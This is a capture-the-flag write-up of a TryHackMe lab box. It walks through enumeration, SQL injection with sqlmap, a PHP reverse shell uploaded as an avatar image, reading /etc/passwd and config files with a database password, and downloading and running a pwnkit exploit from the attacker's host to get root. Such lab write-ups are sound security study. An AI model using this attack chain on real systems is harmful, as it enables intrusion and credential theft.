CTF : Lockdown

CTF Lockdown writeup. Source THM. Announced difficulty level: Medium

Posted by Boula-Bytes on 03 November 2022

CTF : Lockdown

Informations

  • IP: 10.10.83.23
  • MYIP: 10.8.16.133

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p- 10.10.83.23 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-03 00:09 CET Nmap scan report for 10.10.83.23 Host is up (0.040s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

The website use contacttracer.thm as virtualhost. So I added this entry to my /etc/hosts.

console
$ dirsearch -u http://contacttracer.thm _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /home/boula/.dirsearch/reports/contacttracer.thm/_22-11-03_00-15-25.txt Error Log: /home/boula/.dirsearch/logs/errors-22-11-03_00-15-25.log Target: http://contacttracer.thm/ [00:15:26] Starting: [00:15:28] 403 - 282B - /.ht_wsr.txt [00:15:28] 403 - 282B - /.htaccess.bak1 [00:15:28] 403 - 282B - /.htaccess.orig [00:15:28] 403 - 282B - /.htaccess.sample [00:15:28] 403 - 282B - /.htaccess.save [00:15:28] 403 - 282B - /.htaccess_extra [00:15:28] 403 - 282B - /.htaccess_sc [00:15:28] 403 - 282B - /.htaccessBAK [00:15:28] 403 - 282B - /.htaccessOLD [00:15:28] 403 - 282B - /.htaccess_orig [00:15:28] 403 - 282B - /.htaccessOLD2 [00:15:28] 403 - 282B - /.htm [00:15:28] 403 - 282B - /.html [00:15:28] 403 - 282B - /.htpasswd_test [00:15:28] 403 - 282B - /.httr-oauth [00:15:28] 403 - 282B - /.htpasswds [00:15:29] 403 - 282B - /.php [00:15:30] 200 - 281B - /404.html [00:15:32] 200 - 2KB - /README.md [00:15:34] 301 - 322B - /admin -> http://contacttracer.thm/admin/ [00:15:35] 403 - 282B - /admin/.htaccess [00:15:35] 200 - 21KB - /admin/ [00:15:35] 200 - 21KB - /admin/?/login [00:15:36] 500 - 15B - /admin/home.php [00:15:36] 200 - 6KB - /admin/login.php [00:15:36] 200 - 21KB - /admin/index.php [00:15:42] 301 - 322B - /build -> http://contacttracer.thm/build/ [00:15:42] 403 - 282B - /build/ [00:15:43] 301 - 324B - /classes -> http://contacttracer.thm/classes/ [00:15:43] 403 - 282B - /classes/ [00:15:43] 200 - 0B - /config.php [00:15:45] 301 - 321B - /dist -> http://contacttracer.thm/dist/ [00:15:45] 403 - 282B - /dist/ [00:15:48] 500 - 1KB - /home.php [00:15:49] 403 - 282B - /inc/ [00:15:49] 301 - 320B - /inc -> http://contacttracer.thm/inc/ [00:15:50] 200 - 17KB - /index.php/login/ [00:15:49] 200 - 17KB - /index.php [00:15:51] 301 - 321B - /libs -> http://contacttracer.thm/libs/ [00:15:51] 200 - 5KB - /login.php [00:15:56] 403 - 282B - /plugins/ [00:15:57] 301 - 324B - /plugins -> http://contacttracer.thm/plugins/ [00:15:59] 403 - 282B - /server-status [00:15:59] 403 - 282B - /server-status/ [00:16:02] 301 - 321B - /temp -> http://contacttracer.thm/temp/ [00:16:02] 403 - 282B - /temp/ [00:16:03] 301 - 324B - /uploads -> http://contacttracer.thm/uploads/ [00:16:03] 403 - 282B - /uploads/

Vulnerabilities search

I used burp to intercept POST request :

POST /classes/Login.php?f=login HTTP/1.1
Host: contacttracer.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: fr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://contacttracer.thm
Connection: close
Referer: http://contacttracer.thm/admin/login.php
Cookie: PHPSESSID=v6r303oc8lb5eq0ujgthocjv0d

username=admin&password=admin123

And the response wad :

HTTP/1.1 200 OK
Date: Wed, 02 Nov 2022 23:23:11 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 112
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"incorrect","last_qry":"SELECT * from users where username = 'admin' and password = md5('admin123') "}

Huuuum, It seemed that it could lead to an SQLI

Exploit

So I used sqlmap to dump cts_db.

+----+-------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | avatar                        | lastname | password                         | username | firstname    | date_added          | last_login | date_updated        |
+----+-------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1  | uploads/1614302940_avatar.jpg | Admin    | 3eba6f73c19818c36ba8fea761a3ce6d | admin    | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2021-02-26 10:23:23 |
+----+-------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+

So we got this

admin:3eba6f73c19818c36ba8fea761a3ce6d

Sending it to crackstation gave me :

admin:xxxxxxxxxxxxx

I change the admin avatar image by a php shell.

But there was a trick : filename was changed.

I had to run an sql request to find it out :

console
sqlmap -r post_admin.txt --level=5 --risk=3 -D 'cts_db' --sql-shell select * from users; [...] [01:25:36] [INFO] retrieved: uploads/1667433900_shell.php [...]

From there on my box :

shell
nc -nlvp 1234

then

shell
curl http://contacttracer.thm/uploads/1667433900_shell.php

And I got shell :)

Privilege escalation

Enumeration for privesc

console
$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin maxine:x:1000:1000:maxine:/home/maxine:/bin/bash cyrus:x:1001:1001::/home/cyrus:/bin/bash mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false clamav:x:112:114::/var/lib/clamav:/bin/false
console
sh-4.4$ id maxine uid=1000(maxine) gid=1000(maxine) groups=1000(maxine),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd) sh-4.4$ id cyrus uid=1001(cyrus) gid=1001(cyrus) groups=1001(cyrus)
console
$ cat config.php <?php session_start(); $dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>''); if(!defined('base_url')) define('base_url','http://contacttracer.thm/'); if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' ); if(!defined('dev_data')) define('dev_data',$dev_data); require_once('classes/DBConnection.php'); require_once('classes/SystemSettings.php'); $db = new DBConnection; $conn = $db->conn; function redirect($url=''){ if(!empty($url)) echo '<script>location.href="'.base_url .$url.cat scan.sh'"</script>'; } function validate_image($file){ if(!empty($file)){ if(@getimagesize(base_url.$file)){ return base_url.$file; }else{ return base_url.'dist/img/no-image-available.png'; } }else{ return base_url.'dist/img/no-image-available.png'; } }
console
sh-4.4$ cat classes/DBConnection.php cat classes/DBConnection.php <?php class DBConnection{ private $host = 'localhost'; private $username = 'cts'; private $password = 'YOUMKtIXoRjFgMqDJ3WR799tvq2UdNWE'; private $database = 'cts_db'; public $conn; public function __construct(){ if (!isset($this->conn)) { $this->conn = new mysqli($this->host, $this->username, $this->password, $this->database); if (!$this->conn) { echo 'Cannot connect to database server'; exit; } } } public function __destruct(){ $this->conn->close(); } }
console
$ ls /opt scan
console
$ ls -al /opt/scan total 12 drwxr-xr-x 2 root root 4096 Jul 30 2021 . drwxr-xr-x 3 root root 4096 Jul 30 2021 .. -rwxr-xr-x 1 root root 255 May 11 2021 scan.sh
console
$ cat /opt/scan/scan.sh #!/bin/bash read -p "Enter path: " TARGET if [[ -e "$TARGET" && -r "$TARGET" ]] then /usr/bin/clamscan "$TARGET" --copy=/home/cyrus/quarantine /bin/chown -R cyrus:cyrus /home/cyrus/quarantine else echo "Invalid or inaccessible path." fi

Exploit

Ok I was stuck here, so I decided to gave a try to pwnkit exploit...

On my box :

shell
python3 -m http.server 8000

On target :

shell
curl http://10.8.16.133:8000/CVE-2021-4034.py -o CVE-2021-4034.py python3 CVE-2021-4034.py

And I got root access :P

console
# cat /home/cyrus/user.text THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx} # cat /root/root.txt THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}

I know this was not the intended way to pwn this box but... it worked :)